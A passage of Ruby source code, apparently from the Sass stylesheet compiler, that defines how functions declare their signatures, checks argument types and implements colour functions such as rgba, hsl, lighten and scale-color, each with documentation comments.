values. Color objects, though, must be accessed using # {Sass::Script::Value::Color#rgb rgb}, {Sass::Script::Value::Color#red red}, # {Sass::Script::Value::Color#blue green}, or {Sass::Script::Value::Color#blue # blue}. # # Second, making Ruby functions accessible from Sass introduces the temptation # to do things like database access within stylesheets. # This is generally a bad idea; # since Sass files are by default only compiled once, # dynamic code is not a great fit. # # If you really, really need to compile Sass on each request, # first make sure you have adequate caching set up. # Then you can use {Sass::Engine} to render the code, # using the {file:SASS_REFERENCE.md#custom-option `options` parameter} # to pass in data that {EvaluationContext#options can be accessed} # from your Sass functions. # # Within one of the functions in this module, # methods of {EvaluationContext} can be used. # # ### Caveats # # When creating new {Value} objects within functions, be aware that it's not # safe to call {Value::Base#to_s #to_s} (or other methods that use the string # representation) on those objects without first setting {Tree::Node#options= # the #options attribute}. # module Functions @signatures = {} # A class representing a Sass function signature. # # @attr args [Array<String>] The names of the arguments to the function. # @attr delayed_args [Array<String>] The names of the arguments whose evaluation should be # delayed. # @attr var_args [Boolean] Whether the function takes a variable number of arguments. # @attr var_kwargs [Boolean] Whether the function takes an arbitrary set of keyword arguments. Signature = Struct.new(:args, :delayed_args, :var_args, :var_kwargs, :deprecated) # Declare a Sass signature for a Ruby-defined function. # This includes the names of the arguments, # whether the function takes a variable number of arguments, # and whether the function takes an arbitrary set of keyword arguments. # # It's not necessary to declare a signature for a function. # However, without a signature it won't support keyword arguments. # # A single function can have multiple signatures declared # as long as each one takes a different number of arguments. # It's also possible to declare multiple signatures # that all take the same number of arguments, # but none of them but the first will be used # unless the user uses keyword arguments. # # @example # declare :rgba, [:hex, :alpha] # declare :rgba, [:red, :green, :blue, :alpha] # declare :accepts_anything, [], :var_args => true, :var_kwargs => true # declare :some_func, [:foo, :bar, :baz], :var_kwargs => true # # @param method_name [Symbol] The name of the method # whose signature is being declared. # @param args [Array<Symbol>] The names of the arguments for the function signature. # @option options :var_args [Boolean] (false) # Whether the function accepts a variable number of (unnamed) arguments # in addition to the named arguments. # @option options :var_kwargs [Boolean] (false) # Whether the function accepts other keyword arguments # in addition to those in `:args`. # If this is true, the Ruby function will be passed a hash from strings # to {Value}s as the last argument. # In addition, if this is true and `:var_args` is not, # Sass will ensure that the last argument passed is a hash. def self.declare(method_name, args, options = {}) delayed_args = [] args = args.map do |a| a = a.to_s if a[0] == ?& a = a[1..-1] delayed_args << a end a end # We don't expose this functionality except to certain builtin methods. if delayed_args.any? && method_name != :if raise ArgumentError.new("Delayed arguments are not allowed for method #{method_name}") end @signatures[method_name] ||= [] @signatures[method_name] << Signature.new( args, delayed_args, options[:var_args], options[:var_kwargs], options[:deprecated] && options[:deprecated].map {|a| a.to_s}) end # Determine the correct signature for the number of arguments # passed in for a given function. # If no signatures match, the first signature is returned for error messaging. # # @param method_name [Symbol] The name of the Ruby function to be called. # @param arg_arity [Integer] The number of unnamed arguments the function was passed. # @param kwarg_arity [Integer] The number of keyword arguments the function was passed. # # @return [{Symbol => Object}, nil] # The signature options for the matching signature, # or nil if no signatures are declared for this function. See {declare}. def self.signature(method_name, arg_arity, kwarg_arity) return unless @signatures[method_name] @signatures[method_name].each do |signature| sig_arity = signature.args.size return signature if sig_arity == arg_arity + kwarg_arity next unless sig_arity < arg_arity + kwarg_arity # We have enough args. # Now we need to figure out which args are varargs # and if the signature allows them. t_arg_arity, t_kwarg_arity = arg_arity, kwarg_arity if sig_arity > t_arg_arity # we transfer some kwargs arity to args arity # if it does not have enough args -- assuming the names will work out. t_kwarg_arity -= (sig_arity - t_arg_arity) t_arg_arity = sig_arity end if (t_arg_arity == sig_arity || t_arg_arity > sig_arity && signature.var_args) && (t_kwarg_arity == 0 || t_kwarg_arity > 0 && signature.var_kwargs) return signature end end @signatures[method_name].first end # Sets the random seed used by Sass's internal random number generator. # # This can be used to ensure consistent random number sequences which # allows for consistent results when testing, etc. # # @param seed [Integer] # @return [Integer] The same seed. def self.random_seed=(seed) @random_number_generator = Random.new(seed) end # Get Sass's internal random number generator. # # @return [Random] def self.random_number_generator @random_number_generator ||= Random.new end # The context in which methods in {Script::Functions} are evaluated. # That means that all instance methods of {EvaluationContext} # are available to use in functions. class EvaluationContext include Functions include Value::Helpers # The human-readable names for [Sass::Script::Value::Base]. The default is # just the downcased name of the type. TYPE_NAMES = {:ArgList => 'variable argument list'} # The environment for this function. This environment's # {Environment#parent} is the global environment, and its # {Environment#caller} is a read-only view of the local environment of the # caller of this function. # # @return [Environment] attr_reader :environment # The options hash for the {Sass::Engine} that is processing the function call # # @return [{Symbol => Object}] attr_reader :options # @param environment [Environment] See \{#environment} def initialize(environment) @environment = environment @options = environment.options end # Asserts that the type of a given SassScript value # is the expected type (designated by a symbol). # # Valid types are `:Bool`, `:Color`, `:Number`, and `:String`. # Note that `:String` will match both double-quoted strings # and unquoted identifiers. # # @example # assert_type value, :String # assert_type value, :Number # @param value [Sass::Script::Value::Base] A SassScript value # @param type [Symbol, Array<Symbol>] The name(s) of the type the value is expected to be # @param name [String, Symbol, nil] The name of the argument. # @raise [ArgumentError] if value is not of the correct type. def assert_type(value, type, name = nil) valid_types = Array(type) found_type = valid_types.find do |t| value.is_a?(Sass::Script::Value.const_get(t)) || t == :Map && value.is_a?(Sass::Script::Value::List) && value.value.empty? end if found_type value.check_deprecated_interp if found_type == :String return end err = if valid_types.size == 1 "#{value.inspect} is not a #{TYPE_NAMES[type] || type.to_s.downcase}" else type_names = valid_types.map {|t| TYPE_NAMES[t] || t.to_s.downcase} "#{value.inspect} is not any of #{type_names.join(', ')}" end err = "$#{name.to_s.tr('_', '-')}: " + err if name raise ArgumentError.new(err) end # Asserts that the unit of the number is as expected. # # @example # assert_unit number, "px" # assert_unit number, nil # @param number [Sass::Script::Value::Number] The number to be validated. # @param unit [::String] # The unit that the number must have. # If nil, the number must be unitless. # @param name [::String] The name of the parameter being validated. # @raise [ArgumentError] if number is not of the correct unit or is not a number. def assert_unit(number, unit, name = nil) assert_type number, :Number, name return if number.is_unit?(unit) expectation = unit ? "have a unit of #{unit}" : "be unitless" if name raise ArgumentError.new("Expected $#{name} to #{expectation} but got #{number}") else raise ArgumentError.new("Expected #{number} to #{expectation}") end end # Asserts that the value is an integer. # # @example # assert_integer 2px # assert_integer 2.5px # => SyntaxError: "Expected 2.5px to be an integer" # assert_integer 2.5px, "width" # => SyntaxError: "Expected width to be an integer but got 2.5px" # @param number [Sass::Script::Value::Base] The value to be validated. # @param name [::String] The name of the parameter being validated. # @raise [ArgumentError] if number is not an integer or is not a number. def assert_integer(number, name = nil) assert_type number, :Number, name return if number.int? if name raise ArgumentError.new("Expected $#{name} to be an integer but got #{number}") else raise ArgumentError.new("Expected #{number} to be an integer") end end # Performs a node that has been delayed for execution. # # @private # @param node [Sass::Script::Tree::Node, # Sass::Script::Value::Base] When this is a tree node, it's # performed in the caller's environment. When it's a value # (which can happen when the value had to be performed already # -- like for a splat), it's returned as-is. # @param env [Sass::Environment] The environment within which to perform the node. # Defaults to the (read-only) environment of the caller. def perform(node, env = environment.caller) if node.is_a?(Sass::Script::Value::Base) node else node.perform(env) end end end class << self # Returns whether user function with a given name exists. # # @param function_name [String] # @return [Boolean] alias_method :callable?, :public_method_defined? private def include(*args) r = super # We have to re-include ourselves into EvaluationContext to work around # an icky Ruby restriction. EvaluationContext.send :include, self r end end # Creates a {Sass::Script::Value::Color Color} object from red, green, and # blue values. # # @see #rgba # @overload rgb($red, $green, $blue) # @param $red [Sass::Script::Value::Number] The amount of red in the color. # Must be between 0 and 255 inclusive, or between `0%` and `100%` # inclusive # @param $green [Sass::Script::Value::Number] The amount of green in the # color. Must be between 0 and 255 inclusive, or between `0%` and `100%` # inclusive # @param $blue [Sass::Script::Value::Number] The amount of blue in the # color. Must be between 0 and 255 inclusive, or between `0%` and `100%` # inclusive # @return [Sass::Script::Value::Color] # @raise [ArgumentError] if any parameter is the wrong type or out of bounds def rgb(red, green = nil, blue = nil, _alpha = nil) if green.nil? return unquoted_string("rgb(#{red})") if var?(red) raise ArgumentError.new("wrong number of arguments (1 for 3)") elsif blue.nil? return unquoted_string("rgb(#{red}, #{green})") if var?(red) || var?(green) raise ArgumentError.new("wrong number of arguments (2 for 3)") end if special_number?(red) || special_number?(green) || special_number?(blue) return unquoted_string("rgb(#{red}, #{green}, #{blue})") end assert_type red, :Number, :red assert_type green, :Number, :green assert_type blue, :Number, :blue color_attrs = [ percentage_or_unitless(red, 255, "red"), percentage_or_unitless(green, 255, "green"), percentage_or_unitless(blue, 255, "blue") ] # Don't store the string representation for function-created colors, both # because it's not very useful and because some functions aren't supported # on older browsers. Sass::Script::Value::Color.new(color_attrs) end declare :rgb, [:red, :green, :blue] declare :rgb, [:red, :green] declare :rgb, [:red] # Creates a {Sass::Script::Value::Color Color} from red, green, blue, and # alpha values. # @see #rgb # # @overload rgba($red, $green, $blue, $alpha) # @param $red [Sass::Script::Value::Number] The amount of red in the # color. Must be between 0 and 255 inclusive or 0% and 100% inclusive # @param $green [Sass::Script::Value::Number] The amount of green in the # color. Must be between 0 and 255 inclusive or 0% and 100% inclusive # @param $blue [Sass::Script::Value::Number] The amount of blue in the # color. Must be between 0 and 255 inclusive or 0% and 100% inclusive # @param $alpha [Sass::Script::Value::Number] The opacity of the color. # Must be between 0 and 1 inclusive # @return [Sass::Script::Value::Color] # @raise [ArgumentError] if any parameter is the wrong type or out of # bounds # # @overload rgba($color, $alpha) # Sets the opacity of an existing color. # # @example # rgba(#102030, 0.5) => rgba(16, 32, 48, 0.5) # rgba(blue, 0.2) => rgba(0, 0, 255, 0.2) # # @param $color [Sass::Script::Value::Color] The color whose opacity will # be changed. # @param $alpha [Sass::Script::Value::Number] The new opacity of the # color. Must be between 0 and 1 inclusive # @return [Sass::Script::Value::Color] # @raise [ArgumentError] if `$alpha` is out of bounds or either parameter # is the wrong type def rgba(*args) case args.size when 1 return unquoted_string("rgba(#{args.first})") if var?(args.first) raise ArgumentError.new("wrong number of arguments (1 for 4)") when 2 color, alpha = args if var?(color) return unquoted_string("rgba(#{color}, #{alpha})") elsif var?(alpha) if color.is_a?(Sass::Script::Value::Color) return unquoted_string("rgba(#{color.red}, #{color.green}, #{color.blue}, #{alpha})") else return unquoted_string("rgba(#{color}, #{alpha})") end end assert_type color, :Color, :color if special_number?(alpha) unquoted_string("rgba(#{color.red}, #{color.green}, #{color.blue}, #{alpha})") else assert_type alpha, :Number, :alpha color.with(:alpha => percentage_or_unitless(alpha, 1, "alpha")) end when 3 if var?(args[0]) || var?(args[1]) || var?(args[2]) unquoted_string("rgba(#{args.join(', ')})") else raise ArgumentError.new("wrong number of arguments (3 for 4)") end when 4 red, green, blue, alpha = args if special_number?(red) || special_number?(green) || special_number?(blue) || special_number?(alpha) unquoted_string("rgba(#{red}, #{green}, #{blue}, #{alpha})") else rgba(rgb(red, green, blue), alpha) end else raise ArgumentError.new("wrong number of arguments (#{args.size} for 4)") end end declare :rgba, [:red, :green, :blue, :alpha] declare :rgba, [:red, :green, :blue] declare :rgba, [:color, :alpha] declare :rgba, [:red] # Creates a {Sass::Script::Value::Color Color} from hue, saturation, and # lightness values. Uses the algorithm from the [CSS3 spec][]. # # [CSS3 spec]: http://www.w3.org/TR/css3-color/#hsl-color # # @see #hsla # @overload hsl($hue, $saturation, $lightness) # @param $hue [Sass::Script::Value::Number] The hue of the color. Should be # between 0 and 360 degrees, inclusive # @param $saturation [Sass::Script::Value::Number] The saturation of the # color. Must be between `0%` and `100%`, inclusive # @param $lightness [Sass::Script::Value::Number] The lightness of the # color. Must be between `0%` and `100%`, inclusive # @return [Sass::Script::Value::Color] # @raise [ArgumentError] if `$saturation` or `$lightness` are out of bounds # or any parameter is the wrong type def hsl(hue, saturation = nil, lightness = nil) if saturation.nil? return unquoted_string("hsl(#{hue})") if var?(hue) raise ArgumentError.new("wrong number of arguments (1 for 3)") elsif lightness.nil? return unquoted_string("hsl(#{hue}, #{saturation})") if var?(hue) || var?(saturation) raise ArgumentError.new("wrong number of arguments (2 for 3)") end if special_number?(hue) || special_number?(saturation) || special_number?(lightness) unquoted_string("hsl(#{hue}, #{saturation}, #{lightness})") else hsla(hue, saturation, lightness, number(1)) end end declare :hsl, [:hue, :saturation, :lightness] declare :hsl, [:hue, :saturation] declare :hsl, [:hue] # Creates a {Sass::Script::Value::Color Color} from hue, # saturation, lightness, and alpha values. Uses the algorithm from # the [CSS3 spec][]. # # [CSS3 spec]: http://www.w3.org/TR/css3-color/#hsl-color # # @see #hsl # @overload hsla($hue, $saturation, $lightness, $alpha) # @param $hue [Sass::Script::Value::Number] The hue of the color. Should be # between 0 and 360 degrees, inclusive # @param $saturation [Sass::Script::Value::Number] The saturation of the # color. Must be between `0%` and `100%`, inclusive # @param $lightness [Sass::Script::Value::Number] The lightness of the # color. Must be between `0%` and `100%`, inclusive # @param $alpha [Sass::Script::Value::Number] The opacity of the color. Must # be between 0 and 1, inclusive # @return [Sass::Script::Value::Color] # @raise [ArgumentError] if `$saturation`, `$lightness`, or `$alpha` are out # of bounds or any parameter is the wrong type def hsla(hue, saturation = nil, lightness = nil, alpha = nil) if saturation.nil? return unquoted_string("hsla(#{hue})") if var?(hue) raise ArgumentError.new("wrong number of arguments (1 for 4)") elsif lightness.nil? return unquoted_string("hsla(#{hue}, #{saturation})") if var?(hue) || var?(saturation) raise ArgumentError.new("wrong number of arguments (2 for 4)") elsif alpha.nil? if var?(hue) || var?(saturation) || var?(lightness) return unquoted_string("hsla(#{hue}, #{saturation}, #{lightness})") else raise ArgumentError.new("wrong number of arguments (2 for 4)") end end if special_number?(hue) || special_number?(saturation) || special_number?(lightness) || special_number?(alpha) return unquoted_string("hsla(#{hue}, #{saturation}, #{lightness}, #{alpha})") end assert_type hue, :Number, :hue assert_type saturation, :Number, :saturation assert_type lightness, :Number, :lightness assert_type alpha, :Number, :alpha h = hue.value s = saturation.value l = lightness.value # Don't store the string representation for function-created colors, both # because it's not very useful and because some functions aren't supported # on older browsers. Sass::Script::Value::Color.new( :hue => h, :saturation => s, :lightness => l, :alpha => percentage_or_unitless(alpha, 1, "alpha")) end declare :hsla, [:hue, :saturation, :lightness, :alpha] declare :hsla, [:hue, :saturation, :lightness] declare :hsla, [:hue, :saturation] declare :hsla, [:hue] # Gets the red component of a color. Calculated from HSL where necessary via # [this algorithm][hsl-to-rgb]. # # [hsl-to-rgb]: http://www.w3.org/TR/css3-color/#hsl-color # # @overload red($color) # @param $color [Sass::Script::Value::Color] # @return [Sass::Script::Value::Number] The red component, between 0 and 255 # inclusive # @raise [ArgumentError] if `$color` isn't a color def red(color) assert_type color, :Color, :color number(color.red) end declare :red, [:color] # Gets the green component of a color. Calculated from HSL where necessary # via [this algorithm][hsl-to-rgb]. # # [hsl-to-rgb]: http://www.w3.org/TR/css3-color/#hsl-color # # @overload green($color) # @param $color [Sass::Script::Value::Color] # @return [Sass::Script::Value::Number] The green component, between 0 and # 255 inclusive # @raise [ArgumentError] if `$color` isn't a color def green(color) assert_type color, :Color, :color number(color.green) end declare :green, [:color] # Gets the blue component of a color. Calculated from HSL where necessary # via [this algorithm][hsl-to-rgb]. # # [hsl-to-rgb]: http://www.w3.org/TR/css3-color/#hsl-color # # @overload blue($color) # @param $color [Sass::Script::Value::Color] # @return [Sass::Script::Value::Number] The blue component, between 0 and # 255 inclusive # @raise [ArgumentError] if `$color` isn't a color def blue(color) assert_type color, :Color, :color number(color.blue) end declare :blue, [:color] # Returns the hue component of a color. See [the CSS3 HSL # specification][hsl]. Calculated from RGB where necessary via [this # algorithm][rgb-to-hsl]. # # [hsl]: http://en.wikipedia.org/wiki/HSL_and_HSV#Conversion_from_RGB_to_HSL_or_HSV # [rgb-to-hsl]: http://en.wikipedia.org/wiki/HSL_and_HSV#Conversion_from_RGB_to_HSL_or_HSV # # @overload hue($color) # @param $color [Sass::Script::Value::Color] # @return [Sass::Script::Value::Number] The hue component, between 0deg and # 360deg # @raise [ArgumentError] if `$color` isn't a color def hue(color) assert_type color, :Color, :color number(color.hue, "deg") end declare :hue, [:color] # Returns the saturation component of a color. See [the CSS3 HSL # specification][hsl]. Calculated from RGB where necessary via [this # algorithm][rgb-to-hsl]. # # [hsl]: http://en.wikipedia.org/wiki/HSL_and_HSV#Conversion_from_RGB_to_HSL_or_HSV # [rgb-to-hsl]: http://en.wikipedia.org/wiki/HSL_and_HSV#Conversion_from_RGB_to_HSL_or_HSV # # @overload saturation($color) # @param $color [Sass::Script::Value::Color] # @return [Sass::Script::Value::Number] The saturation component, between 0% # and 100% # @raise [ArgumentError] if `$color` isn't a color def saturation(color) assert_type color, :Color, :color number(color.saturation, "%") end declare :saturation, [:color] # Returns the lightness component of a color. See [the CSS3 HSL # specification][hsl]. Calculated from RGB where necessary via [this # algorithm][rgb-to-hsl]. # # [hsl]: http://en.wikipedia.org/wiki/HSL_and_HSV#Conversion_from_RGB_to_HSL_or_HSV # [rgb-to-hsl]: http://en.wikipedia.org/wiki/HSL_and_HSV#Conversion_from_RGB_to_HSL_or_HSV # # @overload lightness($color) # @param $color [Sass::Script::Value::Color] # @return [Sass::Script::Value::Number] The lightness component, between 0% # and 100% # @raise [ArgumentError] if `$color` isn't a color def lightness(color) assert_type color, :Color, :color number(color.lightness, "%") end declare :lightness, [:color] # Returns the alpha component (opacity) of a color. This is 1 unless # otherwise specified. # # This function also supports the proprietary Microsoft `alpha(opacity=20)` # syntax as a special case. # # @overload alpha($color) # @param $color [Sass::Script::Value::Color] # @return [Sass::Script::Value::Number] The alpha component, between 0 and 1 # @raise [ArgumentError] if `$color` isn't a color def alpha(*args) if args.all? do |a| a.is_a?(Sass::Script::Value::String) && a.type == :identifier && a.value =~ /^[a-zA-Z]+\s*=/ end # Support the proprietary MS alpha() function return identifier("alpha(#{args.map {|a| a.to_s}.join(', ')})") end raise ArgumentError.new("wrong number of arguments (#{args.size} for 1)") if args.size != 1 assert_type args.first, :Color, :color number(args.first.alpha) end declare :alpha, [:color] # Returns the alpha component (opacity) of a color. This is 1 unless # otherwise specified. # # @overload opacity($color) # @param $color [Sass::Script::Value::Color] # @return [Sass::Script::Value::Number] The alpha component, between 0 and 1 # @raise [ArgumentError] if `$color` isn't a color def opacity(color) if color.is_a?(Sass::Script::Value::Number) return identifier("opacity(#{color})") end assert_type color, :Color, :color number(color.alpha) end declare :opacity, [:color] # Makes a color more opaque. Takes a color and a number between 0 and 1, and # returns a color with the opacity increased by that amount. # # @see #transparentize # @example # opacify(rgba(0, 0, 0, 0.5), 0.1) => rgba(0, 0, 0, 0.6) # opacify(rgba(0, 0, 17, 0.8), 0.2) => #001 # @overload opacify($color, $amount) # @param $color [Sass::Script::Value::Color] # @param $amount [Sass::Script::Value::Number] The amount to increase the # opacity by, between 0 and 1 # @return [Sass::Script::Value::Color] # @raise [ArgumentError] if `$amount` is out of bounds, or either parameter # is the wrong type def opacify(color, amount) _adjust(color, amount, :alpha, 0..1, :+) end declare :opacify, [:color, :amount] alias_method :fade_in, :opacify declare :fade_in, [:color, :amount] # Makes a color more transparent. Takes a color and a number between 0 and # 1, and returns a color with the opacity decreased by that amount. # # @see #opacify # @example # transparentize(rgba(0, 0, 0, 0.5), 0.1) => rgba(0, 0, 0, 0.4) # transparentize(rgba(0, 0, 0, 0.8), 0.2) => rgba(0, 0, 0, 0.6) # @overload transparentize($color, $amount) # @param $color [Sass::Script::Value::Color] # @param $amount [Sass::Script::Value::Number] The amount to decrease the # opacity by, between 0 and 1 # @return [Sass::Script::Value::Color] # @raise [ArgumentError] if `$amount` is out of bounds, or either parameter # is the wrong type def transparentize(color, amount) _adjust(color, amount, :alpha, 0..1, :-) end declare :transparentize, [:color, :amount] alias_method :fade_out, :transparentize declare :fade_out, [:color, :amount] # Makes a color lighter. Takes a color and a number between `0%` and `100%`, # and returns a color with the lightness increased by that amount. # # @see #darken # @example # lighten(hsl(0, 0%, 0%), 30%) => hsl(0, 0, 30) # lighten(#800, 20%) => #e00 # @overload lighten($color, $amount) # @param $color [Sass::Script::Value::Color] # @param $amount [Sass::Script::Value::Number] The amount to increase the # lightness by, between `0%` and `100%` # @return [Sass::Script::Value::Color] # @raise [ArgumentError] if `$amount` is out of bounds, or either parameter # is the wrong type def lighten(color, amount) _adjust(color, amount, :lightness, 0..100, :+, "%") end declare :lighten, [:color, :amount] # Makes a color darker. Takes a color and a number between 0% and 100%, and # returns a color with the lightness decreased by that amount. # # @see #lighten # @example # darken(hsl(25, 100%, 80%), 30%) => hsl(25, 100%, 50%) # darken(#800, 20%) => #200 # @overload darken($color, $amount) # @param $color [Sass::Script::Value::Color] # @param $amount [Sass::Script::Value::Number] The amount to decrease the # lightness by, between `0%` and `100%` # @return [Sass::Script::Value::Color] # @raise [ArgumentError] if `$amount` is out of bounds, or either parameter # is the wrong type def darken(color, amount) _adjust(color, amount, :lightness, 0..100, :-, "%") end declare :darken, [:color, :amount] # Makes a color more saturated. Takes a color and a number between 0% and # 100%, and returns a color with the saturation increased by that amount. # # @see #desaturate # @example # saturate(hsl(120, 30%, 90%), 20%) => hsl(120, 50%, 90%) # saturate(#855, 20%) => #9e3f3f # @overload saturate($color, $amount) # @param $color [Sass::Script::Value::Color] # @param $amount [Sass::Script::Value::Number] The amount to increase the # saturation by, between `0%` and `100%` # @return [Sass::Script::Value::Color] # @raise [ArgumentError] if `$amount` is out of bounds, or either parameter # is the wrong type def saturate(color, amount = nil) # Support the filter effects definition of saturate. # https://dvcs.w3.org/hg/FXTF/raw-file/tip/filters/index.html return identifier("saturate(#{color})") if amount.nil? _adjust(color, amount, :saturation, 0..100, :+, "%") end declare :saturate, [:color, :amount] declare :saturate, [:amount] # Makes a color less saturated. Takes a color and a number between 0% and # 100%, and returns a color with the saturation decreased by that value. # # @see #saturate # @example # desaturate(hsl(120, 30%, 90%), 20%) => hsl(120, 10%, 90%) # desaturate(#855, 20%) => #726b6b # @overload desaturate($color, $amount) # @param $color [Sass::Script::Value::Color] # @param $amount [Sass::Script::Value::Number] The amount to decrease the # saturation by, between `0%` and `100%` # @return [Sass::Script::Value::Color] # @raise [ArgumentError] if `$amount` is out of bounds, or either parameter # is the wrong type def desaturate(color, amount) _adjust(color, amount, :saturation, 0..100, :-, "%") end declare :desaturate, [:color, :amount] # Changes the hue of a color. Takes a color and a number of degrees (usually # between `-360deg` and `360deg`), and returns a color with the hue rotated # along the color wheel by that amount. # # @example # adjust-hue(hsl(120, 30%, 90%), 60deg) => hsl(180, 30%, 90%) # adjust-hue(hsl(120, 30%, 90%), -60deg) => hsl(60, 30%, 90%) # adjust-hue(#811, 45deg) => #886a11 # @overload adjust_hue($color, $degrees) # @param $color [Sass::Script::Value::Color] # @param $degrees [Sass::Script::Value::Number] The number of degrees to # rotate the hue # @return [Sass::Script::Value::Color] # @raise [ArgumentError] if either parameter is the wrong type def adjust_hue(color, degrees) assert_type color, :Color, :color assert_type degrees, :Number, :degrees color.with(:hue => color.hue + degrees.value) end declare :adjust_hue, [:color, :degrees] # Converts a color into the format understood by IE filters. # # @example # ie-hex-str(#abc) => #FFAABBCC # ie-hex-str(#3322BB) => #FF3322BB # ie-hex-str(rgba(0, 255, 0, 0.5)) => #8000FF00 # @overload ie_hex_str($color) # @param $color [Sass::Script::Value::Color] # @return [Sass::Script::Value::String] The IE-formatted string # representation of the color # @raise [ArgumentError] if `$color` isn't a color def ie_hex_str(color) assert_type color, :Color, :color alpha = Sass::Util.round(color.alpha * 255).to_s(16).rjust(2, '0') identifier("##{alpha}#{color.send(:hex_str)[1..-1]}".upcase) end declare :ie_hex_str, [:color] # Increases or decreases one or more properties of a color. This can change # the red, green, blue, hue, saturation, value, and alpha properties. The # properties are specified as keyword arguments, and are added to or # subtracted from the color's current value for that property. # # All properties are optional. You can't specify both RGB properties # (`$red`, `$green`, `$blue`) and HSL properties (`$hue`, `$saturation`, # `$value`) at the same time. # # @example # adjust-color(#102030, $blue: 5) => #102035 # adjust-color(#102030, $red: -5, $blue: 5) => #0b2035 # adjust-color(hsl(25, 100%, 80%), $lightness: -30%, $alpha: -0.4) => hsla(25, 100%, 50%, 0.6) # @overload adjust_color($color, [$red], [$green], [$blue], [$hue], [$saturation], [$lightness], [$alpha]) # @param $color [Sass::Script::Value::Color] # @param $red [Sass::Script::Value::Number] The adjustment to make on the # red component, between -255 and 255 inclusive # @param $green [Sass::Script::Value::Number] The adjustment to make on the # green component, between -255 and 255 inclusive # @param $blue [Sass::Script::Value::Number] The adjustment to make on the # blue component, between -255 and 255 inclusive # @param $hue [Sass::Script::Value::Number] The adjustment to make on the # hue component, in degrees # @param $saturation [Sass::Script::Value::Number] The adjustment to make on # the saturation component, between `-100%` and `100%` inclusive # @param $lightness [Sass::Script::Value::Number] The adjustment to make on # the lightness component, between `-100%` and `100%` inclusive # @param $alpha [Sass::Script::Value::Number] The adjustment to make on the # alpha component, between -1 and 1 inclusive # @return [Sass::Script::Value::Color] # @raise [ArgumentError] if any parameter is the wrong type or out-of # bounds, or if RGB properties and HSL properties are adjusted at the # same time def adjust_color(color, kwargs) assert_type color, :Color, :color with = Sass::Util.map_hash( "red" => [-255..255, ""], "green" => [-255..255, ""], "blue" => [-255..255, ""], "hue" => nil, "saturation" => [-100..100, "%"], "lightness" => [-100..100, "%"], "alpha" => [-1..1, ""] ) do |name, (range, units)| val = kwargs.delete(name) next unless val assert_type val, :Number, name Sass::Util.check_range("$#{name}: Amount", range, val, units) if range adjusted = color.send(name) + val.value adjusted = [0, Sass::Util.restrict(adjusted, range)].max if range [name.to_sym, adjusted] end unless kwargs.empty? name, val = kwargs.to_a.first raise ArgumentError.new("Unknown argument $#{name} (#{val})") end color.with(with) end declare :adjust_color, [:color], :var_kwargs => true # Fluidly scales one or more properties of a color. Unlike # \{#adjust_color adjust-color}, which changes a color's properties by fixed # amounts, \{#scale_color scale-color} fluidly changes them based on how # high or low they already are. That means that lightening an already-light # color with \{#scale_color scale-color} won't change the lightness much, # but lightening a dark color by the same amount will change it more # dramatically. This has the benefit of making `scale-color($color, ...)` # have a similar effect regardless of what `$color` is. # # For example, the lightness of a color can be anywhere between `0%` and # `100%`. If `scale-color($color, $lightness: 40%)` is called, the resulting # color's lightness will be 40% of the way between its original lightness # and 100. If `scale-color($color, $lightness: -40%)` is called instead, the # lightness will be 40% of the way between the original and 0. # # This can change the red, green, blue, saturation, value, and alpha # properties. The properties are specified as keyword arguments. All # arguments should be percentages between `0%` and `100%`. # # All properties are optional. You can't specify both RGB properties # (`$red`, `$green`, `$blue`) and HSL properties (`$saturation`, `$value`) # at the same time. # # @example # scale-color(hsl(120, 70%, 80%), $lightness: 50%) => hsl(120, 70%, 90%) # scale-color(rgb(200, 150%, 170%), $green: -40%, $blue: 70%) => rgb(200, 90, 229) # scale-color(hsl(200, 70%, 80%), $saturation: -90%, $alpha: -30%) => hsla(200, 7%, 80%, 0.7) # @overload scale_color($color, [$red], [$green], [$blue], [$saturation], [$lightness], [$alpha]) # @param $color [Sass::Script::Value::Color] # @param $red [Sass::Script::Value::Number] # @param $green [Sass::Script::Value::Number] # @param $blue [Sass::Script::Value::Number] # @param $saturation [Sass::Script::Value::Number] # @param $lightness [Sass::Script::Value::Number] # @param $alpha [Sass::Script::Value::Number] # @return [Sass::Script::Value::Color] # @raise [ArgumentError] if any parameter is the wrong type or out-of # bounds, or if RGB properties and HSL properties are adjusted at the # same time def scale_color(color, kwargs) assert_type color, :Color, :color with = Sass::Util.map_hash( "red" => 255, "green" => 255, "blue" => 255, "saturation" => 100, "lightness" => 100, "alpha" => 1 ) do |name, max| val = kwargs.delete(name) next unless val assert_type val, :Number, name assert_unit val, '%', name Sass::Util.check_range("$#{name}: Amount", -100..100, val, '%') current = color.send(name) scale = val.value / 100.0 diff = scale > 0 ? max - current : current [name.to_sym, current + diff * scale] end unless kwargs.empty? name, val = kwargs.to_a.first raise ArgumentError.new("Unknown argument $#{name} (#{val})") end color.with(with) end declare :scale_color, [:color], :var_kwargs => true # Changes one or more properties of a color. This can change the red, green, # blue, hue, saturation, value, and alpha properties. The properties are # specified as keyword arguments, and replace the color's current value for # that property. # # All properties are optional. You can't specify both RGB properties # (`$red`, `$green`, `$blue`) and HSL properties (`$hue`, `$saturation`, # `$value`) at the same time. # # @example # change-color(#102030, $blue: 5) => #102005 # change-color(#102030, $red: 120, $blue: 5) => #782005 # change-color(hsl(25, 100%, 80%), $lightness: 40%, $alpha: 0.8) => hsla(25, 100%, 40%, 0.8) # @overload change_color($color, [$red], [$green], [$blue], [$hue], [$saturation], [$lightness], [$alpha]) # @param $color [Sass::Script::Value::Color] # @param $red [Sass::Script::Value::Number] The new red component for the # color, within 0 and 255 inclusive # @param $green [Sass::Script::Value::Number] The new green component for # the color, within 0 and 255 inclusive # @param $blue [Sass::Script::Value::Number] The new blue component for the # color, within 0 and 255 inclusive # @param $hue [Sass::Script::Value::Number] The new hue component for the # color, in degrees # @param $saturation [Sass::Script::Value::Number] The new saturation # component for the color, between `0%` and `100%` inclusive # @param $lightness [Sass::Script::Value::Number] The new lightness # component for the color, within `0%` and `100%` inclusive # @param $alpha [Sass::Script::Value::Number] The new alpha component for # the color, within 0 and 1 inclusive # @return [Sass::Script::Value::Color] # @raise [ArgumentError] if any parameter is the wrong type or out-of # bounds, or if RGB properties and HSL properties are adjusted at the # same time def change_color(color, kwargs) assert_type color, :Color, :color with = Sass::Util.map_hash( 'red' => ['Red value', 0..255], 'green' => ['Green value', 0..255], 'blue' => ['Blue value', 0..255], 'hue' => [], 'saturation' => ['Saturation', 0..100, '%'], 'lightness' => ['Lightness', 0..100, '%'], 'alpha' => ['Alpha channel', 0..1] ) do |name, (desc, range, unit)| val = kwargs.delete(name) next unless val assert_type val, :Number, name if range val = Sass::Util.check_range(desc, range, val, unit) else val = val.value end 